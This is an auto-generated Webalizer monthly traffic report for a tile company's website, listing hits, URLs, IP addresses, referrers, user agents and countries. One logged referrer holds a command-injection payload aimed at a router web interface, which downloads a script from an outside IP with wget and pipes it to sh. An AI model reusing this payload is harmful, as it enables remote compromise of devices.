November2024 www.experttileworks.ca

Summary Period: December 2024
Generated 01-Dec-2024 02:16 MST



[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for December 2024
Total Hits 484
Total Files 326
Total Pages 396
Total Visits 109
Total KBytes 21479
Total Unique Sites 80
Total Unique URLs 27
Total Unique Referrers 9
Total Unique User Agents 52
. Avg Max
Hits per Hour 20 220
Hits per Day 484 484
Files per Day 326 326
Pages per Day 396 396
Sites per Day 80 80
Visits per Day 109 109
KBytes per Day 21479 21479
Hits by Response Code
Code 200 - OK 67.36% 326
Code 400 - Bad Request 1.24% 6
Code 404 - Not Found 31.40% 152

Daily usage for December 2024

Daily Statistics for December 2024
Day Hits Files Pages Visits Sites KBytes
1 484 100.00% 326 100.00% 396 100.00% 109 100.00% 80 100.00% 21479 100.00%

Hourly usage for December 2024

Hourly Statistics for December 2024
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 220 220 45.45% 172 172 52.76% 185 185 46.72% 10369 10369 48.27%
1 218 218 45.04% 121 121 37.12% 171 171 43.18% 8881 8881 41.34%
2 46 46 9.50% 33 33 10.12% 40 40 10.10% 2230 2230 10.38%
3 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
4 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
5 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
6 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
7 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
8 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
9 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
10 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
11 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
12 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
13 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
14 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
15 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
16 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
17 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
18 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
19 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
20 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
21 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
22 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
23 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%

Top 18 of 27 Total URLs
# Hits KBytes URL
1 245 50.62% 1460 6.80% /
2 24 4.96% 14898 69.36% /usage/usage_202411.phtml
3 15 3.10% 1 0.01% /robots.txt
4 7 1.45% 514 2.39% /usage/agent_202301.phtml
5 4 0.83% 6 0.03% /js/responsiveslides.min.js
6 3 0.62% 203 0.94% /usage/agent_202302.phtml
7 2 0.41% 2199 10.24% /favicon.ico
8 2 0.41% 15 0.07% /js/bootstrap.min.js
9 2 0.41% 3 0.01% /js/easyResponsiveTabs.js
10 2 0.41% 13 0.06% /js/jquery.flexslider.js
11 2 0.41% 66 0.31% /js/jquery.min.js
12 2 0.41% 1 0.00% /sw.js
13 2 0.41% 121 0.56% /usage/agent_202109.phtml
14 1 0.21% 1 0.01% /analog/
15 1 0.21% 3 0.02% /contact.html
16 1 0.21% 19 0.09% /css/bootstrap.css
17 1 0.21% 38 0.18% /usage/August2023/url_202308.phtml
18 1 0.21% 82 0.38% /usage/agent_202404.phtml

Top 18 of 27 Total URLs By KBytes
# Hits KBytes URL
1 24 4.96% 14898 69.36% /usage/usage_202411.phtml
2 2 0.41% 2199 10.24% /favicon.ico
3 245 50.62% 1460 6.80% /
4 7 1.45% 514 2.39% /usage/agent_202301.phtml
5 3 0.62% 203 0.94% /usage/agent_202302.phtml
6 2 0.41% 121 0.56% /usage/agent_202109.phtml
7 1 0.21% 82 0.38% /usage/agent_202404.phtml
8 2 0.41% 66 0.31% /js/jquery.min.js
9 1 0.21% 38 0.18% /usage/August2023/url_202308.phtml
10 1 0.21% 19 0.09% /css/bootstrap.css
11 2 0.41% 15 0.07% /js/bootstrap.min.js
12 2 0.41% 13 0.06% /js/jquery.flexslider.js
13 4 0.83% 6 0.03% /js/responsiveslides.min.js
14 1 0.21% 3 0.02% /contact.html
15 2 0.41% 3 0.01% /js/easyResponsiveTabs.js
16 15 3.10% 1 0.01% /robots.txt
17 1 0.21% 1 0.01% /analog/
18 2 0.41% 1 0.00% /sw.js

Top 7 of 7 Total Entry Pages
# Hits Visits URL
1 245 50.62% 96 93.20% /
2 7 1.45% 2 1.94% /usage/agent_202301.phtml
3 1 0.21% 1 0.97% /analog/
4 1 0.21% 1 0.97% /contact.html
5 1 0.21% 1 0.97% /usage/August2023/url_202308.phtml
6 2 0.41% 1 0.97% /usage/agent_202109.phtml
7 1 0.21% 1 0.97% /usage/agent_202404.phtml

Top 7 of 7 Total Exit Pages
# Hits Visits URL
1 245 50.62% 70 92.11% /
2 1 0.21% 1 1.32% /analog/
3 1 0.21% 1 1.32% /contact.html
4 1 0.21% 1 1.32% /usage/August2023/url_202308.phtml
5 2 0.41% 1 1.32% /usage/agent_202109.phtml
6 3 0.62% 1 1.32% /usage/agent_202302.phtml
7 1 0.21% 1 1.32% /usage/agent_202404.phtml

Top 80 of 80 Total Sites
# Hits Files KBytes Visits Hostname
1 120 24.79% 24 7.36% 14950 69.60% 1 0.92% 95.216.17.210
2 45 9.30% 0 0.00% 6 0.03% 1 0.92% 8.222.162.33
3 24 4.96% 18 5.52% 2314 10.78% 1 0.92% 51.158.37.186
4 14 2.89% 14 4.29% 83 0.38% 1 0.92% 185.191.171.3
5 13 2.69% 13 3.99% 77 0.36% 1 0.92% 185.191.171.11
6 11 2.27% 11 3.37% 59 0.28% 2 1.83% 85.208.96.193
7 10 2.07% 10 3.07% 59 0.27% 2 1.83% 185.191.171.15
8 10 2.07% 10 3.07% 59 0.27% 2 1.83% 185.191.171.2
9 10 2.07% 10 3.07% 717 3.34% 2 1.83% 45.77.119.243
10 9 1.86% 9 2.76% 53 0.25% 1 0.92% 185.191.171.10
11 9 1.86% 9 2.76% 53 0.25% 2 1.83% 185.191.171.13
12 8 1.65% 8 2.45% 47 0.22% 3 2.75% 185.191.171.12
13 8 1.65% 8 2.45% 47 0.22% 2 1.83% 85.208.96.194
14 7 1.45% 7 2.15% 41 0.19% 1 0.92% 185.191.171.14
15 7 1.45% 7 2.15% 41 0.19% 2 1.83% 185.191.171.16
16 7 1.45% 7 2.15% 41 0.19% 2 1.83% 185.191.171.7
17 7 1.45% 7 2.15% 41 0.19% 3 2.75% 85.208.96.197
18 7 1.45% 7 2.15% 41 0.19% 2 1.83% 85.208.96.206
19 6 1.24% 6 1.84% 35 0.16% 3 2.75% 185.191.171.9
20 6 1.24% 6 1.84% 35 0.16% 2 1.83% 85.208.96.195
21 6 1.24% 6 1.84% 35 0.16% 2 1.83% 85.208.96.200
22 6 1.24% 6 1.84% 30 0.14% 2 1.83% 85.208.96.208
23 5 1.03% 5 1.53% 30 0.14% 2 1.83% 185.191.171.4
24 5 1.03% 5 1.53% 30 0.14% 2 1.83% 185.191.171.5
25 5 1.03% 5 1.53% 135 0.63% 1 0.92% 216.244.66.235
26 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.196
27 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.198
28 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.204
29 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.205
30 4 0.83% 4 1.23% 24 0.11% 3 2.75% 185.191.171.19
31 4 0.83% 4 1.23% 12 0.06% 1 0.92% 195.191.219.132
32 4 0.83% 4 1.23% 24 0.11% 3 2.75% 85.208.96.201
33 4 0.83% 4 1.23% 24 0.11% 2 1.83% 85.208.96.202
34 4 0.83% 4 1.23% 24 0.11% 2 1.83% 85.208.96.210
35 3 0.62% 3 0.92% 18 0.08% 1 0.92% 185.191.171.1
36 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.18
37 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.6
38 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.8
39 3 0.62% 3 0.92% 126 0.59% 1 0.92% 43.225.191.41
40 3 0.62% 3 0.92% 18 0.08% 1 0.92% 52.167.144.204
41 3 0.62% 3 0.92% 4 0.02% 0 0.00% 66.249.64.1
42 3 0.62% 0 0.00% 0 0.00% 1 0.92% 71.191.162.202
43 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.203
44 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.207
45 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.212
46 2 0.41% 0 0.00% 0 0.00% 0 0.00% 138.68.251.232
47 2 0.41% 2 0.61% 3 0.02% 1 0.92% 17.241.219.118
48 2 0.41% 0 0.00% 0 0.00% 1 0.92% 185.190.24.101
49 2 0.41% 2 0.61% 12 0.05% 2 1.83% 185.191.171.17
50 2 0.41% 2 0.61% 25 0.11% 1 0.92% 66.249.64.15
51 2 0.41% 2 0.61% 451 2.10% 0 0.00% 66.249.70.133
52 2 0.41% 2 0.61% 11 0.05% 0 0.00% 66.249.70.136
53 2 0.41% 2 0.61% 458 2.13% 0 0.00% 66.249.70.137
54 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.199
55 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.209
56 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.211
57 1 0.21% 1 0.31% 1 0.01% 1 0.92% 114.119.141.200
58 1 0.21% 1 0.31% 6 0.03% 1 0.92% 114.119.153.112
59 1 0.21% 1 0.31% 82 0.38% 1 0.92% 154.213.199.48
60 1 0.21% 1 0.31% 0 0.00% 0 0.00% 157.90.209.76
61 1 0.21% 1 0.31% 6 0.03% 1 0.92% 17.241.75.118
62 1 0.21% 0 0.00% 0 0.00% 1 0.92% 180.158.44.49
63 1 0.21% 1 0.31% 6 0.03% 1 0.92% 194.195.123.251
64 1 0.21% 1 0.31% 0 0.00% 0 0.00% 207.46.13.229
65 1 0.21% 0 0.00% 0 0.00% 1 0.92% 31.220.1.88
66 1 0.21% 0 0.00% 0 0.00% 1 0.92% 38.46.220.87
67 1 0.21% 1 0.31% 6 0.03% 1 0.92% 40.77.167.58
68 1 0.21% 1 0.31% 38 0.18% 1 0.92% 40.77.167.77
69 1 0.21% 1 0.31% 6 0.03% 1 0.92% 43.163.3.58
70 1 0.21% 0 0.00% 0 0.00% 1 0.92% 51.8.223.32
71 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.147
72 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.183
73 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.189
74 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.214
75 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.218
76 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.220
77 1 0.21% 1 0.31% 0 0.00% 0 0.00% 54.36.148.93
78 1 0.21% 1 0.31% 2 0.01% 0 0.00% 66.249.64.14
79 1 0.21% 1 0.31% 253 1.18% 0 0.00% 66.249.70.134
80 1 0.21% 1 0.31% 482 2.24% 0 0.00% 66.249.70.135

Top 80 of 80 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 120 24.79% 24 7.36% 14950 69.60% 1 0.92% 95.216.17.210
2 24 4.96% 18 5.52% 2314 10.78% 1 0.92% 51.158.37.186
3 10 2.07% 10 3.07% 717 3.34% 2 1.83% 45.77.119.243
4 1 0.21% 1 0.31% 482 2.24% 0 0.00% 66.249.70.135
5 2 0.41% 2 0.61% 458 2.13% 0 0.00% 66.249.70.137
6 2 0.41% 2 0.61% 451 2.10% 0 0.00% 66.249.70.133
7 1 0.21% 1 0.31% 253 1.18% 0 0.00% 66.249.70.134
8 5 1.03% 5 1.53% 135 0.63% 1 0.92% 216.244.66.235
9 3 0.62% 3 0.92% 126 0.59% 1 0.92% 43.225.191.41
10 14 2.89% 14 4.29% 83 0.38% 1 0.92% 185.191.171.3
11 1 0.21% 1 0.31% 82 0.38% 1 0.92% 154.213.199.48
12 13 2.69% 13 3.99% 77 0.36% 1 0.92% 185.191.171.11
13 11 2.27% 11 3.37% 59 0.28% 2 1.83% 85.208.96.193
14 10 2.07% 10 3.07% 59 0.27% 2 1.83% 185.191.171.15
15 10 2.07% 10 3.07% 59 0.27% 2 1.83% 185.191.171.2
16 9 1.86% 9 2.76% 53 0.25% 1 0.92% 185.191.171.10
17 9 1.86% 9 2.76% 53 0.25% 2 1.83% 185.191.171.13
18 8 1.65% 8 2.45% 47 0.22% 3 2.75% 185.191.171.12
19 8 1.65% 8 2.45% 47 0.22% 2 1.83% 85.208.96.194
20 7 1.45% 7 2.15% 41 0.19% 1 0.92% 185.191.171.14
21 7 1.45% 7 2.15% 41 0.19% 2 1.83% 185.191.171.16
22 7 1.45% 7 2.15% 41 0.19% 2 1.83% 185.191.171.7
23 7 1.45% 7 2.15% 41 0.19% 3 2.75% 85.208.96.197
24 7 1.45% 7 2.15% 41 0.19% 2 1.83% 85.208.96.206
25 1 0.21% 1 0.31% 38 0.18% 1 0.92% 40.77.167.77
26 6 1.24% 6 1.84% 35 0.16% 3 2.75% 185.191.171.9
27 6 1.24% 6 1.84% 35 0.16% 2 1.83% 85.208.96.195
28 6 1.24% 6 1.84% 35 0.16% 2 1.83% 85.208.96.200
29 6 1.24% 6 1.84% 30 0.14% 2 1.83% 85.208.96.208
30 5 1.03% 5 1.53% 30 0.14% 2 1.83% 185.191.171.4
31 5 1.03% 5 1.53% 30 0.14% 2 1.83% 185.191.171.5
32 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.196
33 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.198
34 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.204
35 5 1.03% 5 1.53% 30 0.14% 2 1.83% 85.208.96.205
36 2 0.41% 2 0.61% 25 0.11% 1 0.92% 66.249.64.15
37 4 0.83% 4 1.23% 24 0.11% 3 2.75% 185.191.171.19
38 4 0.83% 4 1.23% 24 0.11% 3 2.75% 85.208.96.201
39 4 0.83% 4 1.23% 24 0.11% 2 1.83% 85.208.96.202
40 4 0.83% 4 1.23% 24 0.11% 2 1.83% 85.208.96.210
41 3 0.62% 3 0.92% 18 0.08% 1 0.92% 185.191.171.1
42 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.18
43 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.6
44 3 0.62% 3 0.92% 18 0.08% 2 1.83% 185.191.171.8
45 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.203
46 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.207
47 3 0.62% 3 0.92% 18 0.08% 2 1.83% 85.208.96.212
48 3 0.62% 3 0.92% 18 0.08% 1 0.92% 52.167.144.204
49 4 0.83% 4 1.23% 12 0.06% 1 0.92% 195.191.219.132
50 2 0.41% 2 0.61% 12 0.05% 2 1.83% 185.191.171.17
51 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.199
52 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.209
53 2 0.41% 2 0.61% 12 0.05% 2 1.83% 85.208.96.211
54 2 0.41% 2 0.61% 11 0.05% 0 0.00% 66.249.70.136
55 45 9.30% 0 0.00% 6 0.03% 1 0.92% 8.222.162.33
56 1 0.21% 1 0.31% 6 0.03% 1 0.92% 114.119.153.112
57 1 0.21% 1 0.31% 6 0.03% 1 0.92% 17.241.75.118
58 1 0.21% 1 0.31% 6 0.03% 1 0.92% 194.195.123.251
59 1 0.21% 1 0.31% 6 0.03% 1 0.92% 43.163.3.58
60 1 0.21% 1 0.31% 6 0.03% 1 0.92% 40.77.167.58
61 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.147
62 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.183
63 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.189
64 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.214
65 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.218
66 1 0.21% 1 0.31% 6 0.03% 1 0.92% 52.167.144.220
67 3 0.62% 3 0.92% 4 0.02% 0 0.00% 66.249.64.1
68 2 0.41% 2 0.61% 3 0.02% 1 0.92% 17.241.219.118
69 1 0.21% 1 0.31% 2 0.01% 0 0.00% 66.249.64.14
70 1 0.21% 1 0.31% 1 0.01% 1 0.92% 114.119.141.200
71 3 0.62% 0 0.00% 0 0.00% 1 0.92% 71.191.162.202
72 2 0.41% 0 0.00% 0 0.00% 0 0.00% 138.68.251.232
73 2 0.41% 0 0.00% 0 0.00% 1 0.92% 185.190.24.101
74 1 0.21% 0 0.00% 0 0.00% 1 0.92% 51.8.223.32
75 1 0.21% 0 0.00% 0 0.00% 1 0.92% 180.158.44.49
76 1 0.21% 0 0.00% 0 0.00% 1 0.92% 38.46.220.87
77 1 0.21% 0 0.00% 0 0.00% 1 0.92% 31.220.1.88
78 1 0.21% 1 0.31% 0 0.00% 0 0.00% 157.90.209.76
79 1 0.21% 1 0.31% 0 0.00% 0 0.00% 207.46.13.229
80 1 0.21% 1 0.31% 0 0.00% 0 0.00% 54.36.148.93

Top 9 of 9 Total Referrers
# Hits Referrer
1 357 73.76% - (Direct Request)
2 120 24.79% https://jolion-ufa1.ru/
3 1 0.21% http://204.209.81.252
4 1 0.21% http://204.209.81.252:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`)
5 1 0.21% http://experttileworks.ca/usage/agent_202404.phtml
6 1 0.21% http://www.experttileworks.ca/analog/December2019.html
7 1 0.21% http://www.experttileworks.ca/usage/May2023/usage_202305.phtml
8 1 0.21% https://flipboard.com/@CeramicProF3sd4?from=share&utm_source=flipboard&utm_medium=curator_share
9 1 0.21% https://www.experttileworks.ca/?fbclid=IwAR1eU4NpvxgxSK39iT_URZ3MOHAqu1em1xl8fo5qY6TmwBUeABlSFSkv1Hw

Top 53 of 52 Total User Agents
# Hits User Agent
1 428 88.43% Netscape
2 226 46.69% Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)
3 43 8.88% Custom-AsyncHttpClient
4 24 4.96% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.3
5 12 2.48% Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.19
6 11 2.27% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
7 10 2.07% Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
8 8 1.65% Googlebot-Image/1.0
9 8 1.65% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
10 7 1.45% Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
11 7 1.45% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
12 7 1.45% Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
13 7 1.45% Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
14 7 1.45% Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
15 7 1.45% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
16 6 1.24% Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
17 5 1.03% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
18 5 1.03% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5042.0 Safari/537.36
19 5 1.03% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
20 5 1.03% Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)
21 4 0.83% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 OpenWave/97.4
22 4 0.83% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
23 4 0.83% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
24 4 0.83% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
25 4 0.83% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
26 4 0.83% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
27 4 0.83% Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
28 3 0.62% Mozilla/5.0
29 3 0.62% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Appleb
30 3 0.62% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
31 3 0.62% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2
32 2 0.41% Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.69 Mobile
33 2 0.41% Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://
34 2 0.41% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
35 2 0.41% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/22.7.0 Yowser/2.5
36 2 0.41% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.190
37 2 0.41% Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.
38 2 0.41% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
39 2 0.41% Mozilla/5.0 Keydrop
40 1 0.21% Go-http-client/1.1
41 1 0.21% Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
42 1 0.21% Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.
43 1 0.21% Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4
44 1 0.21% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
45 1 0.21% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
46 1 0.21% Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447
47 1 0.21% Mozilla/5.0 (X11; Linux i686; rv:114.0) Gecko/20100101 Firefox/114.0
48 1 0.21% Mozilla/5.0 (X11; Linux x86_64) Chrome/98.0.4758.132 Safari/537.36
49 1 0.21% Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:114.0) Gecko/20100101 Firefox/114.0
50 1 0.21% Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
51 1 0.21% Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
52 1 0.21% Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E14
53 1 0.21% Mozilla/5.0 zgrab/0.x

Usage by Country for December 2024

Top 12 of 12 Total Countries
# Hits Files KBytes Country
1 148 30.58% 142 43.56% 3212 14.95% United States United States
2 128 26.45% 128 39.26% 756 3.52% Cyprus Cyprus
3 120 24.79% 24 7.36% 14950 69.60% Finland Finland
4 47 9.71% 2 0.61% 13 0.06% Singapore Singapore
5 25 5.17% 19 5.83% 2315 10.78% France France
6 5 1.03% 5 1.53% 18 0.08% Great Britain (UK) Great Britain (UK)
7 3 0.62% 3 0.92% 126 0.59% India India
8 2 0.41% 1 0.31% 6 0.03% China China
9 2 0.41% 1 0.31% 0 0.00% Germany Germany
10 2 0.41% 0 0.00% 0 0.00% Sweden Sweden
11 1 0.21% 0 0.00% 0 0.00% Belize Belize
12 1 0.21% 1 0.31% 82 0.38% Seychelles Seychelles


Generated by Webalizer Version 2.23 100% Micro$oft free! 100% Micro$oft free!